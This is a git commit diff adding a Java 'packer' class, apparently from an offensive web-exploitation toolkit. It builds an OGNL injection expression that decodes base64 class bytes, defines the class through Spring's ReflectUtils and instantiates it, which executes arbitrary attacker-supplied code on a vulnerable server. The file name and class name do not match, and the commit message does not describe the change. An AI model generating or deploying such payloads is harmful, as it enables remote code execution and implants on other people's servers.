refactor: simplify server options

packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringIOUtilsPacker.java

@@ -0,0 +1,18 @@
+package com.reajason.javaweb.packer.ognl;
+
+import com.reajason.javaweb.packer.ClassPackerConfig;
+import com.reajason.javaweb.packer.Packer;
+
+/**
+ * @author ReaJason
+ * @since 2025/7/7
+ */
+public class OGNLSpringUtilsPacker implements Packer {
+    String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}'),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()";
+
+    @Override
+    public String pack(ClassPackerConfig config) {
+        return template.replace("{{className}}", config.getClassName())
+                .replace("{{base64Str}}", config.getClassBytesBase64Str());
+    }
+}